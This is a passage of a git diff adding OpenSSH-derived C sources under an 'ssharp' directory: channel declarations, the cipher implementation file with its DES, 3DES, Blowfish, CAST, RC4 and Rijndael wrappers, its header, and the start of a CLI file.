SSH_CHANNEL_FREE 0 /* This channel is free (unused). */ +#define SSH_CHANNEL_X11_LISTENER 1 /* Listening for inet X11 conn. */ +#define SSH_CHANNEL_PORT_LISTENER 2 /* Listening on a port. */ +#define SSH_CHANNEL_OPENING 3 /* waiting for confirmation */ +#define SSH_CHANNEL_OPEN 4 /* normal open two-way channel */ +#define SSH_CHANNEL_CLOSED 5 /* waiting for close confirmation */ +#define SSH_CHANNEL_AUTH_SOCKET 6 /* authentication socket */ +#define SSH_CHANNEL_X11_OPEN 7 /* reading first X11 packet */ +#define SSH_CHANNEL_INPUT_DRAINING 8 /* sending remaining data to conn */ +#define SSH_CHANNEL_OUTPUT_DRAINING 9 /* sending remaining data to app */ +#define SSH_CHANNEL_LARVAL 10 /* larval session */ +#define SSH_CHANNEL_RPORT_LISTENER 11 /* Listening to a R-style port */ +#define SSH_CHANNEL_CONNECTING 12 +#define SSH_CHANNEL_DYNAMIC 13 +#define SSH_CHANNEL_MAX_TYPE 14 + +/* + * Data structure for channel data. This is iniailized in channel_allocate + * and cleared in channel_free. + */ +struct Channel; +typedef struct Channel Channel; + +typedef void channel_callback_fn(int id, void *arg); +typedef int channel_filter_fn(struct Channel *c, char *buf, int len); + +struct Channel { + int type; /* channel type/state */ + int self; /* my own channel identifier */ + int remote_id; /* channel identifier for remote peer */ + /* peer can be reached over encrypted connection, via packet-sent */ + int istate; /* input from channel (state of receive half) */ + int ostate; /* output to channel (state of transmit half) */ + int flags; /* close sent/rcvd */ + int rfd; /* read fd */ + int wfd; /* write fd */ + int efd; /* extended fd */ + int sock; /* sock fd */ + int isatty; /* rfd is a tty */ + Buffer input; /* data read from socket, to be sent over + * encrypted connection */ + Buffer output; /* data received over encrypted connection for + * send on socket */ + Buffer extended; + char path[200]; /* path for unix domain sockets, or host name + * for forwards */ + int listening_port; /* port being listened for forwards */ + int host_port; /* remote port to connect for forwards */ + char *remote_name; /* remote hostname */ + + int remote_window; + int remote_maxpacket; + int local_window; + int local_window_max; + int local_consumed; + int local_maxpacket; + int extended_usage; + + char *ctype; /* type */ + + /* callback */ + channel_callback_fn *cb_fn; + void *cb_arg; + int cb_event; + channel_callback_fn *dettach_user; + + /* filter */ + channel_filter_fn *input_filter; +}; + +#define CHAN_EXTENDED_IGNORE 0 +#define CHAN_EXTENDED_READ 1 +#define CHAN_EXTENDED_WRITE 2 + +/* default window/packet sizes for tcp/x11-fwd-channel */ +#define CHAN_SES_WINDOW_DEFAULT (32*1024) +#define CHAN_SES_PACKET_DEFAULT (CHAN_SES_WINDOW_DEFAULT/2) +#define CHAN_TCP_WINDOW_DEFAULT (32*1024) +#define CHAN_TCP_PACKET_DEFAULT (CHAN_TCP_WINDOW_DEFAULT/2) +#define CHAN_X11_WINDOW_DEFAULT (4*1024) +#define CHAN_X11_PACKET_DEFAULT (CHAN_X11_WINDOW_DEFAULT/2) + + +void channel_open(int id); +void channel_request(int id, char *service, int wantconfirm); +void channel_request_start(int id, char *service, int wantconfirm); +void channel_register_callback(int id, int mtype, channel_callback_fn *fn, void *arg); +void channel_register_cleanup(int id, channel_callback_fn *fn); +void channel_register_filter(int id, channel_filter_fn *fn); +void channel_cancel_cleanup(int id); +Channel *channel_lookup(int id); + +int +channel_new(char *ctype, int type, int rfd, int wfd, int efd, + int window, int maxpack, int extended_usage, char *remote_name, + int nonblock); +void +channel_set_fds(int id, int rfd, int wfd, int efd, + int extusage, int nonblock); + +void deny_input_open(int type, int plen, void *ctxt); + +void channel_input_channel_request(int type, int plen, void *ctxt); +void channel_input_close(int type, int plen, void *ctxt); +void channel_input_close_confirmation(int type, int plen, void *ctxt); +void channel_input_data(int type, int plen, void *ctxt); +void channel_input_extended_data(int type, int plen, void *ctxt); +void channel_input_ieof(int type, int plen, void *ctxt); +void channel_input_oclose(int type, int plen, void *ctxt); +void channel_input_open_confirmation(int type, int plen, void *ctxt); +void channel_input_open_failure(int type, int plen, void *ctxt); +void channel_input_port_open(int type, int plen, void *ctxt); +void channel_input_window_adjust(int type, int plen, void *ctxt); + +/* Sets specific protocol options. */ +void channel_set_options(int hostname_in_open); + +/* + * Allocate a new channel object and set its type and socket. Remote_name + * must have been allocated with xmalloc; this will free it when the channel + * is freed. + */ +int channel_allocate(int type, int sock, char *remote_name); + +/* Free the channel and close its socket. */ +void channel_free(int channel); + +/* + * Allocate/update select bitmasks and add any bits relevant to channels in + * select bitmasks. + */ +void +channel_prepare_select(fd_set **readsetp, fd_set **writesetp, int *maxfdp, + int rekeying); + +/* + * After select, perform any appropriate operations for channels which have + * events pending. + */ +void channel_after_select(fd_set * readset, fd_set * writeset); + +/* If there is data to send to the connection, send some of it now. */ +void channel_output_poll(void); + +/* Returns true if no channel has too much buffered data. */ +int channel_not_very_much_buffered_data(void); + +/* This closes any sockets that are listening for connections; this removes + any unix domain sockets. */ +void channel_stop_listening(void); + +/* + * Closes the sockets of all channels. This is used to close extra file + * descriptors after a fork. + */ +void channel_close_all(void); + +/* Returns true if there is still an open channel over the connection. */ +int channel_still_open(void); + +/* + * Returns a string containing a list of all open channels. The list is + * suitable for displaying to the user. It uses crlf instead of newlines. + * The caller should free the string with xfree. + */ +char *channel_open_message(void); + +/* + * Initiate forwarding of connections to local port "port" through the secure + * channel to host:port from remote side. + */ +int +channel_request_local_forwarding(u_short listen_port, + const char *host_to_connect, u_short port_to_connect, int gateway_ports); +int +channel_request_forwarding(const char *listen_address, u_short listen_port, + const char *host_to_connect, u_short port_to_connect, int gateway_ports, + int remote_fwd); + +/* + * Initiate forwarding of connections to port "port" on remote host through + * the secure channel to host:port from local side. This never returns if + * there was an error. This registers that open requests for that port are + * permitted. + */ +void +channel_request_remote_forwarding(u_short port, const char *host, + u_short remote_port); + +/* + * Permits opening to any host/port if permitted_opens[] is empty. This is + * usually called by the server, because the user could connect to any port + * anyway, and the server has no way to know but to trust the client anyway. + */ +void channel_permit_all_opens(void); + +/* Add host/port to list of allowed targets for port forwarding */ +void channel_add_permitted_opens(char *host, int port); + +/* Flush list */ +void channel_clear_permitted_opens(void); + +/* + * This is called after receiving CHANNEL_FORWARDING_REQUEST. This initates + * listening for the port, and sends back a success reply (or disconnect + * message if there was an error). This never returns if there was an error. + */ +void channel_input_port_forward_request(int is_root, int gateway_ports); + +/* + * Creates a port for X11 connections, and starts listening for it. Returns + * the display name, or NULL if an error was encountered. + */ +char *x11_create_display(int screen); + +/* + * Creates an internet domain socket for listening for X11 connections. + * Returns a suitable value for the DISPLAY variable, or NULL if an error + * occurs. + */ +char *x11_create_display_inet(int screen, int x11_display_offset); + +/* + * This is called when SSH_SMSG_X11_OPEN is received. The packet contains + * the remote channel number. We should do whatever we want, and respond + * with either SSH_MSG_OPEN_CONFIRMATION or SSH_MSG_OPEN_FAILURE. + */ +void x11_input_open(int type, int plen, void *ctxt); + +/* + * Requests forwarding of X11 connections. This should be called on the + * client only. + */ +void x11_request_forwarding(void); + +/* + * Requests forwarding for X11 connections, with authentication spoofing. + * This should be called in the client only. + */ +void +x11_request_forwarding_with_spoofing(int client_session_id, + const char *proto, const char *data); + +/* Sends a message to the server to request authentication fd forwarding. */ +void auth_request_forwarding(void); + +/* + * Returns the name of the forwarded authentication socket. Returns NULL if + * there is no forwarded authentication socket. The returned value points to + * a static buffer. + */ +char *auth_get_socket_name(void); + +/* + * This is called to process SSH_CMSG_AGENT_REQUEST_FORWARDING on the server. + * This starts forwarding authentication requests. + */ +int auth_input_request_forwarding(struct passwd * pw); + +/* This is called to process an SSH_SMSG_AGENT_OPEN message. */ +void auth_input_open_request(int type, int plen, void *ctxt); + +/* XXX */ +int channel_connect_to(const char *host, u_short host_port); +int channel_connect_by_listen_adress(u_short listen_port); +int x11_connect_display(void); + +int channel_find_open(void); + +#endif diff --git a/other/ssharp/cipher.c b/other/ssharp/cipher.c new file mode 100644 index 0000000..5350703 --- /dev/null +++ b/other/ssharp/cipher.c @@ -0,0 +1,555 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * Copyright (c) 1999 Niels Provos. All rights reserved. + * Copyright (c) 1999,2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: cipher.c,v 1.43 2001/02/04 15:32:23 stevesk Exp $"); + +#include "xmalloc.h" +#include "log.h" +#include "cipher.h" + +#include + + +/* no encryption */ +void +none_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ +} +void +none_setiv(CipherContext *cc, const u_char *iv, u_int ivlen) +{ +} +void +none_crypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + memcpy(dest, src, len); +} + +/* DES */ +void +des_ssh1_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + static int dowarn = 1; + if (dowarn) { + error("Warning: use of DES is strongly discouraged " + "due to cryptographic weaknesses"); + dowarn = 0; + } + des_set_key((void *)key, cc->u.des.key); +} +void +des_ssh1_setiv(CipherContext *cc, const u_char *iv, u_int ivlen) +{ + memset(cc->u.des.iv, 0, sizeof(cc->u.des.iv)); +} +void +des_ssh1_encrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + des_ncbc_encrypt(src, dest, len, cc->u.des.key, &cc->u.des.iv, + DES_ENCRYPT); +} +void +des_ssh1_decrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + des_ncbc_encrypt(src, dest, len, cc->u.des.key, &cc->u.des.iv, + DES_DECRYPT); +} + +/* 3DES */ +void +des3_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + des_set_key((void *) key, cc->u.des3.key1); + des_set_key((void *) (key+8), cc->u.des3.key2); + des_set_key((void *) (key+16), cc->u.des3.key3); +} +void +des3_setiv(CipherContext *cc, const u_char *iv, u_int ivlen) +{ + memset(cc->u.des3.iv2, 0, sizeof(cc->u.des3.iv2)); + memset(cc->u.des3.iv3, 0, sizeof(cc->u.des3.iv3)); + if (iv == NULL) + return; + memcpy(cc->u.des3.iv3, (char *)iv, 8); +} +void +des3_cbc_encrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + des_ede3_cbc_encrypt(src, dest, len, + cc->u.des3.key1, cc->u.des3.key2, cc->u.des3.key3, + &cc->u.des3.iv3, DES_ENCRYPT); +} +void +des3_cbc_decrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + des_ede3_cbc_encrypt(src, dest, len, + cc->u.des3.key1, cc->u.des3.key2, cc->u.des3.key3, + &cc->u.des3.iv3, DES_DECRYPT); +} + +/* + * This is used by SSH1: + * + * What kind of triple DES are these 2 routines? + * + * Why is there a redundant initialization vector? + * + * If only iv3 was used, then, this would till effect have been + * outer-cbc. However, there is also a private iv1 == iv2 which + * perhaps makes differential analysis easier. On the other hand, the + * private iv1 probably makes the CRC-32 attack ineffective. This is a + * result of that there is no longer any known iv1 to use when + * choosing the X block. + */ +void +des3_ssh1_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + des_set_key((void *) key, cc->u.des3.key1); + des_set_key((void *) (key+8), cc->u.des3.key2); + if (keylen <= 16) + des_set_key((void *) key, cc->u.des3.key3); + else + des_set_key((void *) (key+16), cc->u.des3.key3); +} +void +des3_ssh1_encrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + des_cblock iv1; + des_cblock *iv2 = &cc->u.des3.iv2; + des_cblock *iv3 = &cc->u.des3.iv3; + + memcpy(&iv1, iv2, 8); + + des_ncbc_encrypt(src, dest, len, cc->u.des3.key1, &iv1, DES_ENCRYPT); + des_ncbc_encrypt(dest, dest, len, cc->u.des3.key2, iv2, DES_DECRYPT); + des_ncbc_encrypt(dest, dest, len, cc->u.des3.key3, iv3, DES_ENCRYPT); +} +void +des3_ssh1_decrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + des_cblock iv1; + des_cblock *iv2 = &cc->u.des3.iv2; + des_cblock *iv3 = &cc->u.des3.iv3; + + memcpy(&iv1, iv2, 8); + + des_ncbc_encrypt(src, dest, len, cc->u.des3.key3, iv3, DES_DECRYPT); + des_ncbc_encrypt(dest, dest, len, cc->u.des3.key2, iv2, DES_ENCRYPT); + des_ncbc_encrypt(dest, dest, len, cc->u.des3.key1, &iv1, DES_DECRYPT); +} + +/* Blowfish */ +void +blowfish_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + BF_set_key(&cc->u.bf.key, keylen, (u_char *)key); +} +void +blowfish_setiv(CipherContext *cc, const u_char *iv, u_int ivlen) +{ + if (iv == NULL) + memset(cc->u.bf.iv, 0, 8); + else + memcpy(cc->u.bf.iv, (char *)iv, 8); +} +void +blowfish_cbc_encrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + BF_cbc_encrypt((void *)src, dest, len, &cc->u.bf.key, cc->u.bf.iv, + BF_ENCRYPT); +} +void +blowfish_cbc_decrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + BF_cbc_encrypt((void *)src, dest, len, &cc->u.bf.key, cc->u.bf.iv, + BF_DECRYPT); +} + +/* + * SSH1 uses a variation on Blowfish, all bytes must be swapped before + * and after encryption/decryption. Thus the swap_bytes stuff (yuk). + */ +static void +swap_bytes(const u_char *src, u_char *dst, int n) +{ + char c[4]; + + /* Process 4 bytes every lap. */ + for (n = n / 4; n > 0; n--) { + c[3] = *src++; + c[2] = *src++; + c[1] = *src++; + c[0] = *src++; + + *dst++ = c[0]; + *dst++ = c[1]; + *dst++ = c[2]; + *dst++ = c[3]; + } +} + +void +blowfish_ssh1_encrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + swap_bytes(src, dest, len); + BF_cbc_encrypt((void *)dest, dest, len, &cc->u.bf.key, cc->u.bf.iv, + BF_ENCRYPT); + swap_bytes(dest, dest, len); +} +void +blowfish_ssh1_decrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + swap_bytes(src, dest, len); + BF_cbc_encrypt((void *)dest, dest, len, &cc->u.bf.key, cc->u.bf.iv, + BF_DECRYPT); + swap_bytes(dest, dest, len); +} + +/* alleged rc4 */ +void +arcfour_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + RC4_set_key(&cc->u.rc4, keylen, (u_char *)key); +} +void +arcfour_crypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + RC4(&cc->u.rc4, len, (u_char *)src, dest); +} + +/* CAST */ +void +cast_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + CAST_set_key(&cc->u.cast.key, keylen, (u_char *) key); +} +void +cast_setiv(CipherContext *cc, const u_char *iv, u_int ivlen) +{ + if (iv == NULL) + fatal("no IV for %s.", cc->cipher->name); + memcpy(cc->u.cast.iv, (char *)iv, 8); +} +void +cast_cbc_encrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + CAST_cbc_encrypt(src, dest, len, &cc->u.cast.key, cc->u.cast.iv, + CAST_ENCRYPT); +} +void +cast_cbc_decrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + CAST_cbc_encrypt(src, dest, len, &cc->u.cast.key, cc->u.cast.iv, + CAST_DECRYPT); +} + +/* RIJNDAEL */ + +#define RIJNDAEL_BLOCKSIZE 16 +void +rijndael_setkey(CipherContext *cc, const u_char *key, u_int keylen) +{ + rijndael_set_key(&cc->u.rijndael.enc, (u4byte *)key, 8*keylen, 1); + rijndael_set_key(&cc->u.rijndael.dec, (u4byte *)key, 8*keylen, 0); +} +void +rijndael_setiv(CipherContext *cc, const u_char *iv, u_int ivlen) +{ + if (iv == NULL) + fatal("no IV for %s.", cc->cipher->name); + memcpy((u_char *)cc->u.rijndael.iv, iv, RIJNDAEL_BLOCKSIZE); +} +void +rijndael_cbc_encrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + rijndael_ctx *ctx = &cc->u.rijndael.enc; + u4byte *iv = cc->u.rijndael.iv; + u4byte in[4]; + u4byte *cprev, *cnow, *plain; + int i, blocks = len / RIJNDAEL_BLOCKSIZE; + if (len == 0) + return; + if (len % RIJNDAEL_BLOCKSIZE) + fatal("rijndael_cbc_encrypt: bad len %d", len); + cnow = (u4byte*) dest; + plain = (u4byte*) src; + cprev = iv; + for(i = 0; i < blocks; i++, plain+=4, cnow+=4) { + in[0] = plain[0] ^ cprev[0]; + in[1] = plain[1] ^ cprev[1]; + in[2] = plain[2] ^ cprev[2]; + in[3] = plain[3] ^ cprev[3]; + rijndael_encrypt(ctx, in, cnow); + cprev = cnow; + } + memcpy(iv, cprev, RIJNDAEL_BLOCKSIZE); +} + +void +rijndael_cbc_decrypt(CipherContext *cc, u_char *dest, const u_char *src, + u_int len) +{ + rijndael_ctx *ctx = &cc->u.rijndael.dec; + u4byte *iv = cc->u.rijndael.iv; + u4byte ivsaved[4]; + u4byte *cnow = (u4byte*) (src+len-RIJNDAEL_BLOCKSIZE); + u4byte *plain = (u4byte*) (dest+len-RIJNDAEL_BLOCKSIZE); + u4byte *ivp; + int i, blocks = len / RIJNDAEL_BLOCKSIZE; + if (len == 0) + return; + if (len % RIJNDAEL_BLOCKSIZE) + fatal("rijndael_cbc_decrypt: bad len %d", len); + memcpy(ivsaved, cnow, RIJNDAEL_BLOCKSIZE); + for(i = blocks; i > 0; i--, cnow-=4, plain-=4) { + rijndael_decrypt(ctx, cnow, plain); + ivp = (i == 1) ? iv : cnow-4; + plain[0] ^= ivp[0]; + plain[1] ^= ivp[1]; + plain[2] ^= ivp[2]; + plain[3] ^= ivp[3]; + } + memcpy(iv, ivsaved, RIJNDAEL_BLOCKSIZE); +} + +Cipher ciphers[] = { + { "none", + SSH_CIPHER_NONE, 8, 0, + none_setkey, none_setiv, + none_crypt, none_crypt }, + { "des", + SSH_CIPHER_DES, 8, 8, + des_ssh1_setkey, des_ssh1_setiv, + des_ssh1_encrypt, des_ssh1_decrypt }, + { "3des", + SSH_CIPHER_3DES, 8, 16, + des3_ssh1_setkey, des3_setiv, + des3_ssh1_encrypt, des3_ssh1_decrypt }, + { "blowfish", + SSH_CIPHER_BLOWFISH, 8, 16, + blowfish_setkey, blowfish_setiv, + blowfish_ssh1_encrypt, blowfish_ssh1_decrypt }, + + { "3des-cbc", + SSH_CIPHER_SSH2, 8, 24, + des3_setkey, des3_setiv, + des3_cbc_encrypt, des3_cbc_decrypt }, + { "blowfish-cbc", + SSH_CIPHER_SSH2, 8, 16, + blowfish_setkey, blowfish_setiv, + blowfish_cbc_encrypt, blowfish_cbc_decrypt }, + { "cast128-cbc", + SSH_CIPHER_SSH2, 8, 16, + cast_setkey, cast_setiv, + cast_cbc_encrypt, cast_cbc_decrypt }, + { "arcfour", + SSH_CIPHER_SSH2, 8, 16, + arcfour_setkey, none_setiv, + arcfour_crypt, arcfour_crypt }, + { "aes128-cbc", + SSH_CIPHER_SSH2, 16, 16, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { "aes192-cbc", + SSH_CIPHER_SSH2, 16, 24, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { "aes256-cbc", + SSH_CIPHER_SSH2, 16, 32, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { "rijndael128-cbc", + SSH_CIPHER_SSH2, 16, 16, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { "rijndael192-cbc", + SSH_CIPHER_SSH2, 16, 24, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { "rijndael256-cbc", + SSH_CIPHER_SSH2, 16, 32, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { "rijndael-cbc@lysator.liu.se", + SSH_CIPHER_SSH2, 16, 32, + rijndael_setkey, rijndael_setiv, + rijndael_cbc_encrypt, rijndael_cbc_decrypt }, + { NULL, SSH_CIPHER_ILLEGAL, 0, 0, NULL, NULL, NULL, NULL } +}; + +/*--*/ + +u_int +cipher_mask_ssh1(int client) +{ + u_int mask = 0; + mask |= 1 << SSH_CIPHER_3DES; /* Mandatory */ + mask |= 1 << SSH_CIPHER_BLOWFISH; + if (client) { + mask |= 1 << SSH_CIPHER_DES; + } + return mask; +} + +Cipher * +cipher_by_name(const char *name) +{ + Cipher *c; + for (c = ciphers; c->name != NULL; c++) + if (strcasecmp(c->name, name) == 0) + return c; + return NULL; +} + +Cipher * +cipher_by_number(int id) +{ + Cipher *c; + for (c = ciphers; c->name != NULL; c++) + if (c->number == id) + return c; + return NULL; +} + +#define CIPHER_SEP "," +int +ciphers_valid(const char *names) +{ + Cipher *c; + char *ciphers, *cp; + char *p; + + if (names == NULL || strcmp(names, "") == 0) + return 0; + ciphers = cp = xstrdup(names); + for ((p = strsep(&cp, CIPHER_SEP)); p && *p != '\0'; + (p = strsep(&cp, CIPHER_SEP))) { + c = cipher_by_name(p); + if (c == NULL || c->number != SSH_CIPHER_SSH2) { + debug("bad cipher %s [%s]", p, names); + xfree(ciphers); + return 0; + } else { + debug3("cipher ok: %s [%s]", p, names); + } + } + debug3("ciphers ok: [%s]", names); + xfree(ciphers); + return 1; +} + +/* + * Parses the name of the cipher. Returns the number of the corresponding + * cipher, or -1 on error. + */ + +int +cipher_number(const char *name) +{ + Cipher *c; + if (name == NULL) + return -1; + c = cipher_by_name(name); + return (c==NULL) ? -1 : c->number; +} + +char * +cipher_name(int id) +{ + Cipher *c = cipher_by_number(id); + return (c==NULL) ? "" : c->name; +} + +void +cipher_init(CipherContext *cc, Cipher *cipher, + const u_char *key, u_int keylen, const u_char *iv, u_int ivlen) +{ + if (keylen < cipher->key_len) + fatal("cipher_init: key length %d is insufficient for %s.", + keylen, cipher->name); + if (iv != NULL && ivlen < cipher->block_size) + fatal("cipher_init: iv length %d is insufficient for %s.", + ivlen, cipher->name); + cc->cipher = cipher; + cipher->setkey(cc, key, keylen); + cipher->setiv(cc, iv, ivlen); +} + +void +cipher_encrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + if (len % cc->cipher->block_size) + fatal("cipher_encrypt: bad plaintext length %d", len); + cc->cipher->encrypt(cc, dest, src, len); +} + +void +cipher_decrypt(CipherContext *cc, u_char *dest, const u_char *src, u_int len) +{ + if (len % cc->cipher->block_size) + fatal("cipher_decrypt: bad ciphertext length %d", len); + cc->cipher->decrypt(cc, dest, src, len); +} + +/* + * Selects the cipher, and keys if by computing the MD5 checksum of the + * passphrase and using the resulting 16 bytes as the key. + */ + +void +cipher_set_key_string(CipherContext *cc, Cipher *cipher, + const char *passphrase) +{ + MD5_CTX md; + u_char digest[16]; + + MD5_Init(&md); + MD5_Update(&md, (const u_char *)passphrase, strlen(passphrase)); + MD5_Final(digest, &md); + + cipher_init(cc, cipher, digest, 16, NULL, 0); + + memset(digest, 0, sizeof(digest)); + memset(&md, 0, sizeof(md)); +} diff --git a/other/ssharp/cipher.h b/other/ssharp/cipher.h new file mode 100644 index 0000000..6d929aa --- /dev/null +++ b/other/ssharp/cipher.h @@ -0,0 +1,117 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* RCSID("$OpenBSD: cipher.h,v 1.25 2000/12/19 23:17:56 markus Exp $"); */ + +#ifndef CIPHER_H +#define CIPHER_H + +#include +#include +#include +#include +#include "rijndael.h" +/* + * Cipher types for SSH-1. New types can be added, but old types should not + * be removed for compatibility. The maximum allowed value is 31. + */ +#define SSH_CIPHER_SSH2 -3 +#define SSH_CIPHER_ILLEGAL -2 /* No valid cipher selected. */ +#define SSH_CIPHER_NOT_SET -1 /* None selected (invalid number). */ +#define SSH_CIPHER_NONE 0 /* no encryption */ +#define SSH_CIPHER_IDEA 1 /* IDEA CFB */ +#define SSH_CIPHER_DES 2 /* DES CBC */ +#define SSH_CIPHER_3DES 3 /* 3DES CBC */ +#define SSH_CIPHER_BROKEN_TSS 4 /* TRI's Simple Stream encryption CBC */ +#define SSH_CIPHER_BROKEN_RC4 5 /* Alleged RC4 */ +#define SSH_CIPHER_BLOWFISH 6 +#define SSH_CIPHER_RESERVED 7 +#define SSH_CIPHER_MAX 31 + +typedef struct Cipher Cipher; +typedef struct CipherContext CipherContext; + +struct CipherContext { + union { + struct { + des_key_schedule key; + des_cblock iv; + } des; + struct { + des_key_schedule key1; + des_key_schedule key2; + des_cblock iv2; + des_key_schedule key3; + des_cblock iv3; + } des3; + struct { + struct bf_key_st key; + u_char iv[8]; + } bf; + struct { + CAST_KEY key; + u_char iv[8]; + } cast; + struct { + u4byte iv[4]; + rijndael_ctx enc; + rijndael_ctx dec; + } rijndael; + RC4_KEY rc4; + } u; + Cipher *cipher; +}; +struct Cipher { + char *name; + int number; /* for ssh1 only */ + u_int block_size; + u_int key_len; + void (*setkey)(CipherContext *, const u_char *, u_int); + void (*setiv)(CipherContext *, const u_char *, u_int); + void (*encrypt)(CipherContext *, u_char *, const u_char *, u_int); + void (*decrypt)(CipherContext *, u_char *, const u_char *, u_int); +}; + +u_int cipher_mask_ssh1(int client); +Cipher *cipher_by_name(const char *name); +Cipher *cipher_by_number(int id); +int cipher_number(const char *name); +char *cipher_name(int id); +int ciphers_valid(const char *names); +void cipher_init(CipherContext *, Cipher *, const u_char *, u_int, const u_char *, u_int); +void cipher_encrypt(CipherContext *context, u_char *dest, const u_char *src, u_int len); +void cipher_decrypt(CipherContext *context, u_char *dest, const u_char *src, u_int len); +void cipher_set_key_string(CipherContext *context, Cipher *cipher, const char *passphrase); + +#endif /* CIPHER_H */ diff --git a/other/ssharp/cli.c b/other/ssharp/cli.c new file mode 100644 index 0000000..d0f0cf3 --- /dev/null +++ b/other/ssharp/cli.c @@ -0,0 +1,229 @@ +/* $OpenBSD: cli.c,v 1.11 2001/03/06 00:33:04 deraadt Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 